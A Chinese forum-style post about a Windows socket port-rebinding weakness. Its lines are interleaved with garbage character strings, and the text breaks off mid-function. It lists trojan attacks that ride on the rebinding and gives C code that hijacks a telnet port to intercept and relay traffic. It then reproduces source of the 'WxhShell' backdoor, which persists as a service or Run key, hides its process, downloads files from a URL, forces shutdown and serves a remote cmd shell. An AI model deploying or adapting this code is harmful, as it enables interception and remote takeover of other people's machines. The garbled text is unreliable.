在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
(fC U+ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
20BU;D3 qoJ<e`h} saddr.sin_family = AF_INET;
,) 3Eog\- GuRJ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
'<hgc
axiP~t2 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
:.F;LF& 95BRZ!ts 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
h
Ap(1h#m TM`6:5ONv 这意味着什么?意味着可以进行如下的攻击:
Vg8c}>7 ~&Y%yN^ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
"I^pb.3 K}Rq<zW 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
z%[^-l- 4[f>kY%[ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
!wEz=
i bxF'`^En 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
H mVpxD+ ?H(']3X5@ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
'&Tq/;Ml 2)+ddel<Z 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
iig@$
i# T Ue=Yj 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
,~qjL|9 f-a+&DB9 #include
Uk= L?t #include
E|omC_h #include
>`D$Jz, #include
y>_*}>2 ,O DWORD WINAPI ClientThread(LPVOID lpParam);
z)]Br1 int main()
kU[#.
y=%p {
'mU7N<Q$qQ WORD wVersionRequested;
3q:>NB< DWORD ret;
}|(v0] WSADATA wsaData;
2f7]=snCG BOOL val;
" 2J2za SOCKADDR_IN saddr;
'7/c7m/$X< SOCKADDR_IN scaddr;
p+O,C{^f int err;
<&p0:S7 SOCKET s;
G}p*oz~ SOCKET sc;
56^#x int caddsize;
KPMId`kf HANDLE mt;
2]f?c%)I DWORD tid;
ok<!/"RX$ wVersionRequested = MAKEWORD( 2, 2 );
cr<ty"3\ err = WSAStartup( wVersionRequested, &wsaData );
Vrx3%_NkQ if ( err != 0 ) {
w2e9Ue~WH printf("error!WSAStartup failed!\n");
t{RdqAF return -1;
n6s[q-td }
oBZzMTPe saddr.sin_family = AF_INET;
p}O[A` [nG@
3n //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
8S*W+l19f f<v:Tg.[ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
?PST.+l saddr.sin_port = htons(23);
\rY<DxtOq if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
|\_d^U&` {
-iJ @K printf("error!socket failed!\n");
OXCf return -1;
}E]&,[4&M }
NoG`J$D val = TRUE;
}Gg:y? //SO_REUSEADDR选项就是可以实现端口重绑定的
25CO_ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
w,v~ {
;^Hg\a printf("error!setsockopt failed!\n");
I-?Dil3 return -1;
Vv3{jn6% }
!<I3^q //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
$MB/j6#j //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
^J{tOxO=l //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
s`Z'5J;S 8O0E;6b if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
|'" 17c& {
+X &b ret=GetLastError();
u#uT|a. printf("error!bind failed!\n");
ui$JQ _P return -1;
X=U >r }
DEcsFC/SK listen(s,2);
xesZ7{ o while(1)
{D9m>B3"{ {
pk,]yi,ZF caddsize = sizeof(scaddr);
I"1H]@"= //接受连接请求
f R?Xq@c sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
NiCB.a if(sc!=INVALID_SOCKET)
Bw;LGEHi| {
[ijK~ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
p2Fff4nQ if(mt==NULL)
vOl<
{
@CJ`T& printf("Thread Creat Failed!\n");
VkChRzhC break;
8vL2<VT; }
>|S&@< }
Ja@zeD)f" CloseHandle(mt);
tB i16= }
Sb;=YW
1< closesocket(s);
bXw!fYm& WSACleanup();
@ppT;9<d return 0;
5!pof\/a }
HpX ;:/I DWORD WINAPI ClientThread(LPVOID lpParam)
~Os1ir. {
^[]@dk9 SOCKET ss = (SOCKET)lpParam;
9AgTrP SOCKET sc;
yK3b^ unsigned char buf[4096];
Jiv%Opo/| SOCKADDR_IN saddr;
s.p4+KJ long num;
SZhW)0 DWORD val;
I\DH DWORD ret;
C=&rPUX{ //如果是隐藏端口应用的话,可以在此处加一些判断
%gb4(~E+N //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
,sqxxq saddr.sin_family = AF_INET;
Q*J8`J:#^R saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
6(5YvT saddr.sin_port = htons(23);
TOe=6Z5h if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
g]V_)} {
\69h>h printf("error!socket failed!\n");
ZVin+ z return -1;
k+D"LA%J }
|v6kZ0B< val = 100;
%]m/fo4b if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
p!OCF]r {
Yi5^#G ret = GetLastError();
|*T3TsP u return -1;
1ab_^P }
3;hztCZj if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
,_$}>MY; {
rEF0A&5 ret = GetLastError();
QQPT=_P] return -1;
lzE{e6 }
|g@n'^] if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
U_8 Z& {
6Kbc:wlR printf("error!socket connect failed!\n");
o^!_S5zKe. closesocket(sc);
V8Fp1?E9S closesocket(ss);
0eP ] return -1;
U $2"ZyFii }
Vx<`6uv while(1)
%wDE+&M {
`+\6;nM //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
&&daQg4Ha //如果是嗅探内容的话,可以再此处进行内容分析和记录
Y_gMoo //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
w1&\heSQ num = recv(ss,buf,4096,0);
l
10p'9n if(num>0)
Tx19\\r send(sc,buf,num,0);
j TyR+#Wn else if(num==0)
v><c@a=[ break;
[B,w\PLub num = recv(sc,buf,4096,0);
nqFJNK]a if(num>0)
J\@W+/#dF send(ss,buf,num,0);
d:X@zUR*) else if(num==0)
~Oc:b>~ break;
].Sz2vI }
pK|~G."6e closesocket(ss);
#B!HPlrv closesocket(sc);
%A$5mi^ return 0 ;
\2c3Nsra }
q^ w@l #lY_XV. ixY[ HDPq ==========================================================
1
O?bT,"b j%`%
DQ 下边附上一个代码,,WXhSHELL
{M^BY,%* l"rX'g? ==========================================================
+L,V_z #
E{2 !Z #include "stdafx.h"
!\}X?Gf )Ggv_mc h #include <stdio.h>
L[cP2X]NQ #include <string.h>
N;q)[Dr #include <windows.h>
cFZcBiw #include <winsock2.h>
QMhvyzkS #include <winsvc.h>
}1#prQ0F #include <urlmon.h>
A`:a
T{j }ip3d m #pragma comment (lib, "Ws2_32.lib")
W;T5[ #pragma comment (lib, "urlmon.lib")
i,B<k 0W9 idNra# #define MAX_USER 100 // 最大客户端连接数
7C9_;81_Dt #define BUF_SOCK 200 // sock buffer
.nzN5FB
U #define KEY_BUFF 255 // 输入 buffer
+WjX@rSq[ b]b+PK*h #define REBOOT 0 // 重启
|JLXgwML #define SHUTDOWN 1 // 关机
>i_ #q$o 9vauCIfVC #define DEF_PORT 5000 // 监听端口
M5kw3Jy 5 7|PB6h3 #define REG_LEN 16 // 注册表键长度
)`BKEaf #define SVC_LEN 80 // NT服务名长度
yu>o7ie+;Y 4D}hYk$eP0 // 从dll定义API
)~ 0TGy| typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
0Lf4^9N typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
5HaI$>h6 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
!pZ<{|cH typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
w,az{\ `=$p!H8 // wxhshell配置信息
1Ror1%Q"? struct WSCFG {
zP&D int ws_port; // 监听端口
aka)#0l . char ws_passstr[REG_LEN]; // 口令
5P{[8PZxbV int ws_autoins; // 安装标记, 1=yes 0=no
brX[- char ws_regname[REG_LEN]; // 注册表键名
bC/Ql char ws_svcname[REG_LEN]; // 服务名
V}Ee1C char ws_svcdisp[SVC_LEN]; // 服务显示名
aJQzM char ws_svcdesc[SVC_LEN]; // 服务描述信息
j5wfqi char ws_passmsg[SVC_LEN]; // 密码输入提示信息
.JOZ2QWm< int ws_downexe; // 下载执行标记, 1=yes 0=no
?<` ;lu/eL char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
.e5d#gE0 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
UqD ]@s` PthgxB^ };
nV`U{}x BwkY;Ur/AL // default Wxhshell configuration
guG&3{&\s struct WSCFG wscfg={DEF_PORT,
?rjB9AC_;t "xuhuanlingzhe",
la}cGZ; p. 1,
osl\j]U8 "Wxhshell",
L~%7=]m "Wxhshell",
e#)NYcr6 "WxhShell Service",
(:I]v_qEYS "Wrsky Windows CmdShell Service",
h*R w^5,c "Please Input Your Password: ",
-p?&vQDo` 1,
mPhu#oK'f "
http://www.wrsky.com/wxhshell.exe",
@C<ofg3E "Wxhshell.exe"
/Kh, };
U.5R3z }i{qRx"4 // 消息定义模块
'#XT[\ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
Wb>;L@jB7 char *msg_ws_prompt="\n\r? for help\n\r#>";
51u\am'T char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
$H)QUFyC char *msg_ws_ext="\n\rExit.";
9;'#,b*( char *msg_ws_end="\n\rQuit.";
:0,yq?M char *msg_ws_boot="\n\rReboot...";
x0b=r!Duu char *msg_ws_poff="\n\rShutdown...";
DJ DQH \& char *msg_ws_down="\n\rSave to ";
sQJGwZ7 "%)g^Atp> char *msg_ws_err="\n\rErr!";
|lcp
(u*u char *msg_ws_ok="\n\rOK!";
eXMIRus( @({=~
W^ char ExeFile[MAX_PATH];
$4^SWT. int nUser = 0;
]
j8bv3 HANDLE handles[MAX_USER];
,zdGY]$ int OsIsNt;
0>8w On =@0J:"c SERVICE_STATUS serviceStatus;
P6O\\,B1A SERVICE_STATUS_HANDLE hServiceStatusHandle;
33EF/k3vW YrJUs]A // 函数声明
3LT~-SvL int Install(void);
^;'8yE/ int Uninstall(void);
|1"&[ . int DownloadFile(char *sURL, SOCKET wsh);
?].MnwYo int Boot(int flag);
e6>G8d void HideProc(void);
#-\5O int GetOsVer(void);
D;NL*4zt int Wxhshell(SOCKET wsl);
bD0l^?Hu! void TalkWithClient(void *cs);
:09NZ
!! int CmdShell(SOCKET sock);
e.skE>& int StartFromService(void);
}%8ZN : int StartWxhshell(LPSTR lpCmdLine);
'.1P\>x!] L/[VpD VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
In^mE(8YO VOID WINAPI NTServiceHandler( DWORD fdwControl );
L7Hv) aZ4?!JW . // 数据结构和表定义
^S3G%{" SERVICE_TABLE_ENTRY DispatchTable[] =
0\{dt4nW&O {
4hy-M>!D| {wscfg.ws_svcname, NTServiceMain},
7;o:r$08&} {NULL, NULL}
L?j0t*do };
\1jThJn *{vH9TO // 自我安装
-dixiJ= int Install(void)
?a3wBy {
J<;io! char svExeFile[MAX_PATH];
T2MC`s|` HKEY key;
@T~XwJ~ strcpy(svExeFile,ExeFile);
vt{[_L(h "t&=~eOe3 // 如果是win9x系统,修改注册表设为自启动
ea"X$<s>- if(!OsIsNt) {
'EiCTl if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
\ s aV8U7B RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
O hk\P;} RegCloseKey(key);
Q-'j131[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Qdq;C,}Ai. RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
.Qx5,)@9 RegCloseKey(key);
c$!?4z_. return 0;
B18BwY }
|${4sUR }
~j'D%:[+VH }
\{ @m else {
C P}fxDW |+q_kx@?l // 如果是NT以上系统,安装为系统服务
}ouGxs+^[ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
&T,|?0>~=J if (schSCManager!=0)
K9#kdo1 2 {
dn#I,xa` SC_HANDLE schService = CreateService
v:P]o9Oj8 (
n?fy@R schSCManager,
PaI\y!f wscfg.ws_svcname,
,2fi`9=\ wscfg.ws_svcdisp,
x#EE_i/W SERVICE_ALL_ACCESS,
}QCnN2bV SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
jg710.v: SERVICE_AUTO_START,
{s
mk<NL SERVICE_ERROR_NORMAL,
[7I bT:ph svExeFile,
vTK%4=|1}! NULL,
$Q/@5f'T`9 NULL,
-wXeue},> NULL,
+& B?f NULL,
5G`HJ6 NULL
4=^_VDlpd );
8gP1]xD if (schService!=0)
'5BD%#[ {
r tuaU=U CloseServiceHandle(schService);
?XHQdN3e CloseServiceHandle(schSCManager);
Fa%1]R strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
YCbvCw$Ob strcat(svExeFile,wscfg.ws_svcname);
*6/IO&y1a if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
>9{?]x RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
eA4D.7HDK RegCloseKey(key);
~bZ$ d{o^ return 0;
4aS}b3=n }
k_7m[o }
1p}H,\o CloseServiceHandle(schSCManager);
#dZs[R7h }
=
wD#H@ h }
4-yK!LR PR@6=[|d return 1;
>5CK&6 }
Pf[E..HF*d M`cxxDj&j // 自我卸载
2`4m"D tA int Uninstall(void)
1p}Wj*mc {
i1B!oZ3q HKEY key;
O-(V`BZe !/}3/iU if(!OsIsNt) {
p3M!H2W if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
t8*Jdd^3Z/ RegDeleteValue(key,wscfg.ws_regname);
ab6I*DbF RegCloseKey(key);
uV5uZ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
~&<#H+O RegDeleteValue(key,wscfg.ws_regname);
aFTWzz RegCloseKey(key);
h!w::cV return 0;
sM-,95H }
8%9 C<+.R }
|oPRP1F-;e }
{srP3ll
P else {
+x2JC' -H fp [gKRSF SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
J'%i?cuV if (schSCManager!=0)
p[Po*c.b {
/7UvV60 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
,#)d if (schService!=0)
tAv3+ {
sT)>Vdwf_ if(DeleteService(schService)!=0) {
joe)b CloseServiceHandle(schService);
%66="1z0@ CloseServiceHandle(schSCManager);
27SHj9I return 0;
t7]j6>MK3q }
Y^+x< CloseServiceHandle(schService);
(Q8!5s }
Q4u.v,sE CloseServiceHandle(schSCManager);
&e^;;<*w }
tkj-.~@g0' }
x%EGxs;>^ :H]d1 return 1;
PeJ#9hI~rQ }
A*OqUq/H`; e0`z~z]6& // 从指定url下载文件
gcA:Q4 int DownloadFile(char *sURL, SOCKET wsh)
w ,j*I7V {
]RT HRESULT hr;
OFtaOjsyUa char seps[]= "/";
Pxr/*X char *token;
od)TQSo char *file;
d,^O[9UWo char myURL[MAX_PATH];
16L YVvmW char myFILE[MAX_PATH];
=dGp&9K,fw <\#'o} strcpy(myURL,sURL);
Yz/Blh%V token=strtok(myURL,seps);
6|eqQ+(A while(token!=NULL)
!yd B,S {
v5M4Rs&t file=token;
YmC}q20; token=strtok(NULL,seps);
t;o\"H }
<wSJK -qP)L;n GetCurrentDirectory(MAX_PATH,myFILE);
uyYV_Q0~; strcat(myFILE, "\\");
[BE_^d5& strcat(myFILE, file);
/WnCAdDgZ send(wsh,myFILE,strlen(myFILE),0);
{xZY4b2 send(wsh,"...",3,0);
e}uK"dl( hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
vqeH<$WHvy if(hr==S_OK)
"KIY+7@S} return 0;
h?xgOb!4 else
!)]/?&uo return 1;
F+hV'{|w` 6\7c: }
Jinh#iar 0Q{lyu // 系统电源模块
m \)B=H!bz int Boot(int flag)
IH`Q=Pj {
HgY@M HANDLE hToken;
3=
=["hO TOKEN_PRIVILEGES tkp;
0S5xmEzop '/I`dj if(OsIsNt) {
<W0(!<U OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
-PPwX~;! LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
A;d@NOI#,K tkp.PrivilegeCount = 1;
x:)H Ii q/ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
ql@2<V{ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
Tr?p/9.m
if(flag==REBOOT) {
9Kd=GL_ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
?$/::uo return 0;
|.c4y* }
&| (K#|^@ else {
VZqCFE3 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
$[X][[ return 0;
9?\cm}^? }
p7YYAh@x\ }
|mH* I else {
EGD{nE if(flag==REBOOT) {
kqeEm{I if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
zLl-{Kk return 0;
*<^C0:i( }
}Cu:BD.zQ else {
(A?>U_@ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
--]blP7 return 0;
;}Jv4Z }
+k6`
tl~* }
tpSgbGzp !mK()# 6 return 1;
bVcJ/+Yx| }
&W>\Vl1 uYeb RCdR // win9x进程隐藏模块
QuS=^,] void HideProc(void)
)L&y@dy) {
pBAAwHD ?Q_ @@) HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
wbWC &X. if ( hKernel != NULL )
vL _yM {
|4DN2P
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
<Ch9"1f3, ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
x6K_!L*Fx] FreeLibrary(hKernel);
FtJaX])b }
CY?J$sN -|'@:cIZ return;
ir'<H<t2 }
PZ/tkw FqJd // 获取操作系统版本
yPmo1|'X>d int GetOsVer(void)
e_!h>=$%8 {
Pac ^=|h<q OSVERSIONINFO winfo;
r~=+>,
_ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
qdQ4%,E[ GetVersionEx(&winfo);
48,*sTRq if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
to13&#o return 1;
uNy-r`vg else
zji9\ return 0;
n$ByTmKxv }
X,3"4 SK tV4yBe<`` // 客户端句柄模块
!l dE9 . int Wxhshell(SOCKET wsl)
2L^/\!V# {
trwo(p SOCKET wsh;
3T(ft^~ struct sockaddr_in client;
8]&Fu3M^ DWORD myID;
H`<u2fo|p ;|T|*0vY[ while(nUser<MAX_USER)
I!F&8B+| {
2KXFXR int nSize=sizeof(client);
@}jg5} wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
^XyC[ G@[ if(wsh==INVALID_SOCKET) return 1;
\Uh/(q7 0Runex[ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
9Cd=^Im5 if(handles[nUser]==0)
>WO;q closesocket(wsh);
'3^_:E5y else
Up-^km nUser++;
?b d&Av }
gT[] "ZT7 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
'n{=`e(}cI 4WlBQ<5 return 0;
x15&U\U }
aIT0t0. @6_w{6:b // 关闭 socket
V#599- void CloseIt(SOCKET wsh)
DM6(8df( {
Hv"qRuQ?[ closesocket(wsh);
PtPx(R3 nUser--;
K\}qYdPF ExitThread(0);
O&CY9
2)Lk }
~A/vP- r
'ioH"= // 客户端请求句柄
r"L:Mu void TalkWithClient(void *cs)
*` - {
%7[d5[U~ZA =585TR;
V SOCKET wsh=(SOCKET)cs;
<YG 42,N char pwd[SVC_LEN];
"V:RKH` char cmd[KEY_BUFF];
Cs]\3R|D` char chr[1];
Hm 0;[i int i,j;
CW@EQ3y0 <@>icDFEHn while (nUser < MAX_USER) {
z/o&r`no ?S)Pv53>} if(wscfg.ws_passstr) {
EwfL.z if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
ckdCd
J //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
YFcMU5_F //ZeroMemory(pwd,KEY_BUFF);
;x)f;!e+ i=0;
gf;B&MM6 while(i<SVC_LEN) {
1b7 Q-elG {- &wV // 设置超时
sEb*GF*.V fd_set FdRead;
bT:;^eG" struct timeval TimeOut;
q\s>Oe6$ FD_ZERO(&FdRead);
/GP:W6:6z6 FD_SET(wsh,&FdRead);
FYaBP;@J% TimeOut.tv_sec=8;
#FGj)pu TimeOut.tv_usec=0;
:Mu]*N int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
0VgsV; if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
UN6nh T UnTvot6~ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
x50ZwV&j pwd
=chr[0]; 9Kc;]2m
if(chr[0]==0xd || chr[0]==0xa) { ?DM!=.]
pwd=0; z}$!B.)
break; @vi;P ^1!
} NW*$+u%/R
i++; x]"N:t
} 0@jhNtL
U7xQ 5lph
// 如果是非法用户,关闭 socket $=!_ !tr
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); om0g'Qa
} UDgUbi^v|D
4^w`]m
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &~N@M!`Dn
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); PAjH*5IA
YLNJ4nE
while(1) { L8 $+%Gvo
O&PrO+&
ZeroMemory(cmd,KEY_BUFF); N9AM% H$7
d+6-ten
// 自动支持客户端 telnet标准 3Yf!H-(\uB
j=0; :&=`xAX-
while(j<KEY_BUFF) { ^s3 SzB@
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $-BM`Zt0;
cmd[j]=chr[0]; 8(GJz ~y
if(chr[0]==0xa || chr[0]==0xd) { uRRp8hht
cmd[j]=0; {#TZFB
break; j
!rQa^
} G+W0X
j++; N._&\fHY
} )tR@\G >%
kiR+ Dsl
// 下载文件 #s]` jdc
if(strstr(cmd,"http://")) { i{nFk',xX
send(wsh,msg_ws_down,strlen(msg_ws_down),0); y/6%'56uF
if(DownloadFile(cmd,wsh)) :)Z.!
send(wsh,msg_ws_err,strlen(msg_ws_err),0); (Q][d+} /
else &6#Ft]6~
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fpPHw)dTd
} L3^+`e
else { De:| T8&
<(dg^;
switch(cmd[0]) { nG !6[^D
=MokbK2
// 帮助 o"e]9{+<
case '?': { LIMPW w g
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9/I|oh_
G
break; @vkO(o
} )_Wo6l)i
// 安装 L{AfrgN
case 'i': { t73" d#+
if(Install()) _|vY)4B4U
send(wsh,msg_ws_err,strlen(msg_ws_err),0); -jQMh
else 2<8JY4]!]
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^+'\
u;\
break; o[E|xw
} Jde@Th
// 卸载 QcG-/_,'}
case 'r': { Avn)%9
if(Uninstall()) w{5v*SHl}`
send(wsh,msg_ws_err,strlen(msg_ws_err),0); tw%z!u[a
else Dt\rMSjZ9
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [BzwQ 4
break; F{"4cyoou
} eg
Zb)pP
// 显示 wxhshell 所在路径 LyA}Nd]pyq
case 'p': { /#xx,?~xx0
char svExeFile[MAX_PATH]; tunjV1 ,]
strcpy(svExeFile,"\n\r"); |?/,ED+|>D
strcat(svExeFile,ExeFile); T?V!%AqY:
send(wsh,svExeFile,strlen(svExeFile),0); hqVxvS"
break; KBkS>0;X
} .sR=Mf7 T
// 重启 N9=1<{Z
case 'b': { EsKOzl[c:
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); xY94v
if(Boot(REBOOT)) >* >}d%
send(wsh,msg_ws_err,strlen(msg_ws_err),0); S1D=' k]
else { vo JmNH
closesocket(wsh); /7[X_)OG
ExitThread(0); rwSmdJ~
} }6!*H!
break; CFyu9Al
} :#&Y
// 关机 {Jn*{5tZ>
case 'd': { ?'I pR
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~|5B
if(Boot(SHUTDOWN)) "D1u2>(
send(wsh,msg_ws_err,strlen(msg_ws_err),0); \4 5%K|
else { UG:S! w'
closesocket(wsh); 5`H.{4@
ExitThread(0); Dj(!i1eQNZ
} E[kf%\
break; &h_do8R
} 1}Mdo&:t
// 获取shell y|(C L^(
case 's': { aq-R#q
CmdShell(wsh); h<I C
d'!
closesocket(wsh); h}knn3"S
ExitThread(0); .R5(k'g?
break; '&42E[0P
} LZF%bJv
// 退出 |E5\_Z
case 'x': { Cr#Z.
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (>a8h~Na
CloseIt(wsh); |h(05Kbk
break; Vnvfu!>(
} I5mtr
// 离开 ;r.0=Uo9]
case 'q': { VS
?n pH
send(wsh,msg_ws_end,strlen(msg_ws_end),0); )E>nr
Z
closesocket(wsh); %|\Af>o4d
WSACleanup(); 49d02AU%
exit(1); Q$XNs%7w5,
break; +fRABY5C
} rf= ndjrH
} `y0u(m5
} q88;{?T1
=s5g9n+7
// 提示信息 H2
Gj(Nc-
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); FBGe s[,
} Cyu= c1D ;
} g;mX {p_@
(YC{BM}
return; Y6w7sr_R
} c3]`W7E6L
kX)QHNzP
// shell模块句柄 TkyP_*
int CmdShell(SOCKET sock) ScCA8JgY
{
A\:u5(
STARTUPINFO si; jL]Y;T8
ZeroMemory(&si,sizeof(si)); (N[R`LN
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $LOwuvu>
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; UEeq@ot/ 4
PROCESS_INFORMATION ProcessInfo; %|AXVv7IN>
char cmdline[]="cmd"; h#JX$9
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -Wm'@4bH
return 0; Sk7sxy<F'
} Or3GrZ!H
(\$=de>?
// 自身启动模式 Fz.Ij'8.H
int StartFromService(void) qac8zt#2
C
{ 6QM$aLLP?
typedef struct [M/0 Qx[,
{ _MLbJ
DWORD ExitStatus; Z66h
DWORD PebBaseAddress; t/B4?A@C
